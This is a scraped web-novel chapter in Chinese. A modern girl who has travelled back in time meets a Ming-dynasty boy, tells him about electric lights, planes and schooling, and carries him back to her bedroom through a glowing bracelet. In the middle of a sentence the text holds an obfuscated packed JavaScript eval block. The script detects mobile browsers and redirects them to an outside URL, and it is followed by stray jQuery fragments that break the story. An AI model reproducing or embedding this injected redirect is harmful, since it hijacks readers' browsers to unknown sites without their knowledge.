默认冷灰
24号文字
方正启体

3. 第 3 章

作者:喜折花本书字数:K更新时间:
    穿越这个词,温暖是知道的。毕竟她也是个爱追剧的电视迷,什么穿越古代,重生什么的,她和妈妈也是看了不少的。


    此时,她坐在地上,屁股还疼着,眼睛却越瞪越大。过去刷过的短视频、看过的电视剧、同学间传阅的小说桥段,所有关于这两个字的恐怖联想,瞬间飘过她那迟钝的脑子。


    温暖小脸上满是惊慌,嘴唇开始哆嗦:“穿、穿越了。”


    她嘴巴一扁,哭着说:“我穿越了?再也回不去了?爸爸、妈妈,我回不去了?”


    她猛地往后缩,后背撞上了书架。线装书簌簌作响,她开始哭了,眼泪大颗大颗往下落。


    “不要,我要回家,今天是我生日,蛋糕还没吃完,呜……”


    手腕上的沉香手串随着她的颤抖轻轻晃动。深褐色的木珠在烛光下流转着温润的光泽,那只刻着的小兔子好像在看着她。


    张白圭愣住了。精怪也会哭?


    他举着烛台,看着眼前缩成一团、哭得上气不接下气的小女孩。她哭得毫无形象,鼻涕眼泪糊了一脸,那种绝望的悲伤,装是装不出来的。


    他评估着此精怪的危险成度,无攻击行为,只会往后缩。情绪完全外露,恐惧、悲伤、茫然,全写在脸上。


    破绽明显,自称穿越,虽然不明白具体何意,反复提及父母,情感真实。


    最关键的是,她手腕上那串珠子,刚才确实闪过不寻常的光。


    张白圭背在身后的手,终于彻底松开了,小银刀悄无声息滑进袖袋深处。他向前挪了半步,烛光跟着晃了晃。


    张白圭轻声道:“小娘子莫慌。”


    他想起《搜神记》里那些故事,精怪若未害人,亦有善道可修,虽然他不确定眼前这位算不算精怪。


    他深以为,纵是精怪之属,若未害人,亦有善道。


    他继续问道:“何以悲泣至此?”


    温暖抬起泪眼朦胧的脸,抽噎着断断续续:“你说啥啊,我听不懂。”


    张白圭回想到此人方才的话语,很是直白,也许是精怪刚化身,没有文化。


    他改变问话:“你为何哭?”


    这次温暖听懂了,说:“我要回家,我要爸爸妈妈,我不要穿越,这里没有电灯,没有Wi-Fi,没有学校,我作业还没写完呢,呜哇——”


    张白圭只听懂了,她想要回家,她还要上学?还有学业?精怪也要学习?


    他继续问:“不哭了,我们看看,你怎么回家,你怎么来的,就应该怎么回去?”


    温暖哭着说,“回不去了,我看过的电视剧的人,穿越后,都回不了家了。”


    “为何回不去?”


    “我是未来人,你们是古人,时间差那么多,我怎么回去啊,还有,我也不知道我怎么来的?”


    张白圭在听到未来人,惊讶了一息,未来人,意思就是来自后世之人。


    他再一次看着她身上穿的裙子,确实没有见过这款式,这面料,头发上那个透明发饰,材质纯净得不像任何已知的琉璃。还有从裙子露出的脚踝,没有缠足,甚至袜子都没穿,光溜溜地踩在地板上。


    这一切都在无声印证她的话。不像本朝之物。不像蒙古人的打扮。不像他读过的任何典籍里记载的异域装束。


    张白圭深吸了一口气。他从怀中掏出一方素净的棉帕。边缘绣着小小的青竹。他犹豫了一瞬,还是隔着一步远的距离,递了过去。


    “擦擦。”他声音又软了一点:“既来之,则安之。”


    这话是对她说,也像是对自己说。烛光下,他好奇的问:“你且慢慢说,何为未来?”


    或许是因为那块递过来的手帕,布料柔软,带着淡淡的皂角清香,是善意的信号。


    或许是因为极度的恐慌终于找到了一个可以倾诉的对象。


    温暖接过帕子,胡乱在脸上抹了一把。棉帕吸走了眼泪,却好像也打开了什么闸门。她抓着那方小小的白布,抽噎声渐弱,然后说:“未来就是就是以后。”


    她抬起红通通的眼睛,看着烛光后面那张清秀但严肃的小脸,忽然觉得这个人可能真的想听。


    “我们那里可好了,晚上有电灯,不是蜡烛,是电灯。一按开关,整个房间亮得像白天一样,比你这根蜡烛亮多了。”


    张白圭闻言,猜测,电灯?也是灯的一种?


    “家家都有自来水,就是水管子接到家里,一拧龙头,水就哗哗流出来,干净的,有的是过滤水,是能直接喝,不用去井里打水,冬天也不会结冰。”


    温暖越说越顺,仿佛通过描述那个熟悉的世界,就能离它近一点:“我们坐飞机,哦,飞机就是,就是像我玩具柜里那个银色的大飞机模型。但是要放大一万倍,有翅膀,但是铁的,能在天上飞,一天能飞几千里。很快很快的那种。”


    张白圭表面平静地听着,甚至适时点了点头,像先生课上听到有趣观点时的反应。但他的心脏在胸腔里咚咚直跳。


    铁鸟?飞天?日行几千里?


    这已经超出了奇技淫巧的范畴,简直是神话。


    “女孩子都能上学,”温暖的声音忽然带上了一点骄傲,虽然她自己的成绩不怎么样,“我就在红旗小学读四年级。我们老师说了,义务教育是法律,所有小孩都得上学。要是有爸爸妈妈不让小孩上学,警察叔叔,啊,就是捕快,会上门找他们的。至少得上完九年级呢。”


    张白圭的呼吸顿了一拍,女子皆学?无君父之国,竟能立法令女子皆学,且民能安之?


    “我爸爸妈妈就是孤儿,”温暖说到这里,眼圈又红了,“在福利院长大,福利院就是国家办的,管吃管住还让读书。他们后来自己做生意,可辛苦了,但是能赚钱,买了大房子,还能供我上最好的私立小学。”


    她抹了把眼睛:“我们那里没有皇帝,叫人民当家作主?哎呀我也说不清,这个我还不懂,反正没有皇帝管我们。大家都能自由出门,女孩子也能随便上街,晚上还能出去吃宵夜。”


    张白圭的脑子在高速运转。他在分门别类地处理这些杂乱的信息,技术奇观有电灯(照明)、飞机(交通)、自来水(民生),远超想象的物质水平。


    社会制度有女子皆学、孤儿有养、无皇帝,颠覆性的社会结构。“无君父,何以立国纲、定民心?然听其所言,其民不仅安,且幼有所养、学有所教……”


    这个念头让他心底泛起了悚然,旋即又被更大的好奇淹没。


    细节印证有国家、义务教育、福利院,这些词汇构成了一套自洽的逻辑,不像是临时能编造出来的完整体系。


    最重要的是,她说这些时的那种理所当然,仿佛那是天经地义的事情。


    待温暖的哭诉渐渐变成抽噎,张白圭开口了,故作好奇的语气问道:“小娘子所言,令人神往。”


    “不知今夕是何年?你所在之国,国号为何?”


    温暖一听她会的题目,精神道:“今年?2026年啊。我们国家叫华夏国。”


    她说得那么自然,完全没意识到自己给出了一个多么恐怖的答案。


    2026年,西方的日历,他也是懂的。嘉靖十四年到2026年,果然,不是当世。他面上不动声色,继续问:“那你可知,此地为何时何地?”


    温暖摇头,眼泪又涌了上来:“不知道,这里是古代吧?好黑,好可怕,连个插座都没有。”


    张白圭向前倾身,烛光将他半边脸映得明亮,他说:“此地,乃大明湖广布政使司荆州府江陵县。”


    他顿了顿,补充道:“今上御极,改元嘉靖。今岁是嘉靖十四年。”


    说出这个年号时,他下意识挺直了脊背。这是当今天子的年号,是每个大明子民需铭记的。而眼前这个哭花脸的小精怪,竟敢称之为道士皇帝。


    他紧紧盯着温暖的脸,不放过任何一丝细微的表情。


    温暖皱起眉头,努力在贫瘠的历史知识库里搜索:“嘉靖,好像听过?”


    她歪着头想了几秒,忽然眼睛一亮:“是不是那个,特别迷信、整天炼丹想成仙的道士皇帝?”


    空气安静了一瞬,张白圭的嘴角抽动了一下。


    道士皇帝。这话若是传出去,足够砍头了。


    可是,他听到这个只觉得荒谬,堂堂一个皇帝,竟然让后世之人称之为道士皇帝。


    他心中最后一点疑虑,在这句不学无术却直指核心的评价里,又消解了几分。


    若她真是奸细,或是善于伪装的妖邪,绝无可能不知当今天子年号,更不可能脱口而出如此,真实到僭越的评语。


    温暖却已经没心思思考历史问题了。悲伤再次淹没她,她抱着膝盖,把脸埋进臂弯:“大明,我真的回不去了吗?我想爸爸妈妈了。我暑假作业还没写呢?”


    张白圭下意识接话:“作业?你亦有功课?”


    话出口他才觉得奇怪,精怪,或者说未来人,也要写作业?


    温暖从臂弯里抬起半张脸,红着眼睛看向书案。那里摊开几张纸,写满工整漂亮的小楷,墨迹还没全干。


    “你这不是也在写吗?”她声音闷闷的,带着鼻音,“看起来比我的难多了,这都什么呀?”


    她稍微往前挪了一点,恐惧还在,但好奇心又冒头了。她指着纸上那些密密麻麻的文言句子:“之乎者也的,比奥数题还像天书。”


    张白圭愣了一下。忽然有种奇特的同病相怜感。


    “此乃《论语》集注,”他解释道,语气里难得带上一点真实的情绪,“明日需交与先生批阅。”


    他顿了顿,看着那些自己反复修改过的注释,轻声补充:“确实有些冗繁之处。”


    这话他说得很轻,几乎像自言自语。在张家,在先生面前,他永远是那个早慧、勤奋、无可指摘的张白圭。抱怨课业?那是绝不可能的。


    温暖的眼睛睁大了一点,她小声说,话里话外都是同情:“你们古代小孩真辛苦。”


    她环顾四周,昏暗的书房,只有一盏烛台散发着有限的光,影子在书架上张牙舞爪。忽然想起妈妈天天念叨的话,脱口而出:“你这样看书,眼睛会坏掉的,我们老师说,光线不足最容易近视了,你看书得开台灯,要护眼的那种,暖白光,不能太暗也不能太亮。”


    张白圭:“……近视?”


    “就是看不清远处的东西。”温暖比划着,“要戴眼镜,哦,就是琉璃片做的,架在鼻子上,可麻烦了。”


    她看着烛光下张白圭清秀却稚气未脱的脸,看着他眼底那两簇因为专注而格外明亮的火光,她的眼神不自觉地飘向了自己的手腕,那串深褐色的沉香手串正静静地贴着她的皮肤,那只回头望的小兔子在烛光下显得格外清晰。


    就在刚才,她大哭的时候,手腕接触珠子的地方,好像又热了一下?


    不是很烫,就是一种温温的感觉,和她穿越前果汁滴上去,整个珠子开始发光发热时,有那么一点点像。


    这个细微的触感,让她产生了一个荒谬的念头,电视剧里的人是回不去的,可是电视剧里,也没有哪个主角是戴着串会发热、会发光、还会把人吸走的珠子穿越的啊?


    这东西既然能把她咻一下带到这里,那有没有可能,它也能咻一下,把她送回去?甚


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144337|196365||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    至把两个人一起带过去,再带回来?


    这个想法太荒唐了,但它是眼前唯一的不一样。是和所有她看过的故事都不同的异样。


    也许可以试试?就试一下,万一呢?


    温暖因为紧张和残余的哽咽而有些发干,眼睛不由自主地看向手腕上的珠子,又抬起看向张白圭,眼神里混杂着微弱的希冀和不确定。


    “那个,我家特别亮。比这里亮一百倍。而且,我的作业可简单了,就是数学题、造句什么的,”


    虽然她也不会。她眼睛亮起一点点微弱的光,像是黑暗中挣扎的萤火,但那光里已经带上了一点小心的试探:“要不,我们试试看,你能不能去我家写作业?”


    张白圭愣住了。


    “我家亮堂,不伤眼睛。”温暖越说越觉得这个主意好,恐惧被一种急切的渴望压了下去,“而且而且我一个人在家,好害怕,你陪我去,好不好?”


    她看着他,眼睛里全是恳求。


    张白圭沉思,深入未知的仙境?是否陷阱?若一去不返。


    但是可以亲眼见证她描述的电灯、未来世界?验证那些惊世骇俗之言的真伪,这是千载难逢的机会。若那电灯真如小太阳,能让夜晚亮如白昼,天下寒士,便不必再于烛烟昏暗中损目力、耗灯油了。


    他看着她情绪真实,思维简单,几乎不具备构陷的城府。若真能去往后世一观,哪怕只有片刻。


    此刻的求知欲,在他十岁的身体里熊熊燃烧。他面上不显,沉吟片刻,才缓缓开口:“你如何能带我去?又能保证送我回来?”


    温暖低头看向手腕上的沉香手串。深褐色的木珠静静贴着皮肤,那只小兔子好像在看着她。


    福至心灵,她举起手腕,说:“可能是它带我来的。我们试试?你拉着我的手,或者拉着这个珠子?”


    她只是瞎猜。但在这个一切都不正常的夜晚,瞎猜成了唯一的希望。


    张白圭的目光落在那串木珠上。烛光下,兔子雕刻的眼睛似乎比刚才更红了一点。


    他最终做出了决定,他伸出手。却不是拉手,手指轻轻捏住了温暖手腕上那颗刻着兔子的木珠。


    他说:“便依你。”然后他抬起眼:“但需约法三章。”


    “其一,此事天知地知,你知我知,不得为第三人道。”


    “其二,在你家,我需知你世界之规,不可妄动。”


    “其三,”他捏着珠子的手指微微收紧,“你必须保我平安归来。”


    温暖用力点头,点得马尾辫都快散了:“我保证,我家很安全的,我家还有监控,啊就是能看到门口的机器,特别安全。”


    就在两人的手指触碰到木珠的瞬间,一股温润的暖流忽然从珠子内部透出,不是灼烫,而是一种恰到好处的暖,顺着手蔓延开来。


    温暖闭上眼,心里拼命想着:“回家回家回家,我的房间,我的床,我的小兔子台灯。”


    然后,什么也没发生。


    温暖急急道:“要、要一起想,你也想,想去我家。”


    张白圭愣了一下。他试着在脑中勾勒一个比这里亮一百倍的地方?有会发光的电灯?有铁鸟的图画?


    他闭上限。沉香木珠在这一刻,忽然从内部透出温润的金色光晕。


    很淡,却真实存在。与此同时,沉香木特有的清冽香气变得浓郁起来,安抚了温暖抽噎后发紧的喉咙,也抚平了张白圭的紧张。


    烛火开始剧烈摇曳,将两人的影子投在身后的书架上,光影晃动间,那两道影子竟然短暂地、模糊地交融在一起,分不清彼此。


    书房里的空气开始波动,烛火剧烈摇曳,将两人的影子拉扯成扭曲的形状。


    张白圭在光影开始扭曲的瞬间,睁开了眼睛。那双总是冷静自持的墨色瞳孔里,闪过的不是恐惧,而是近乎灼热的、纯粹的兴奋与探究。


    他握紧了那颗珠子。嗡,细微的耳鸣声掠过。


    烛光、书架、墨香、冰凉的地板,所有属于大明嘉靖十四年的触感,像退潮般迅速远去。


    取而代之的是柔软。脚下是某种柔软的织物,陷进去半寸。


    然后是光,不是烛光那跳动的、温暖却有限的光。是铺天盖地的、均匀的、冷白色的光,从头顶倾泻而下,将每一个角落都照得无所遁形。


    张白圭的布鞋,第一次踏上温暖房间浅粉色的长绒地毯。


    他抬起头。超过一百瓦的LED吸顶灯,将二十平米的儿童房照得如同白昼。


    墙壁是淡淡的樱花粉,贴着她最喜欢的卡通贴纸。书桌上,小兔子造型的护眼台灯静静立着,旁边堆着没写完的练习册。


    窗户关着,但透过玻璃能看见对面楼宇星星点点的灯火,那是无数个电灯在同时发光。


    没有烛烟,没有黑暗的角落,没有霉味。只有一种陌生的、洁净的、过于明亮的气息。


    张白圭站在房间中央,他仰头,眼睛被头顶那轮小太阳刺得微眯,这是什么灯?何以无烟无热,却亮如白昼?


    接着他的视线下移,落在书桌上那盏小兔子台灯上,这光倒是柔和,形制却如此奇巧可爱。


    最后,他望向窗户,然后彻底怔住了,一整面墙那么大的、平整剔透的水晶,窗外是无数繁星般的人造灯火,在夜色中连成一片光的海洋。


    在他那个世界,这样大的一块完整琉璃,价值连城。


    在这里,它只是一扇窗。


    他脑中的世界图景在这一刻分崩离析,又在一片刺目的白光中,开始野蛮重构。


    他张了张嘴,最终只发出一个极轻的气音:“……啊。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)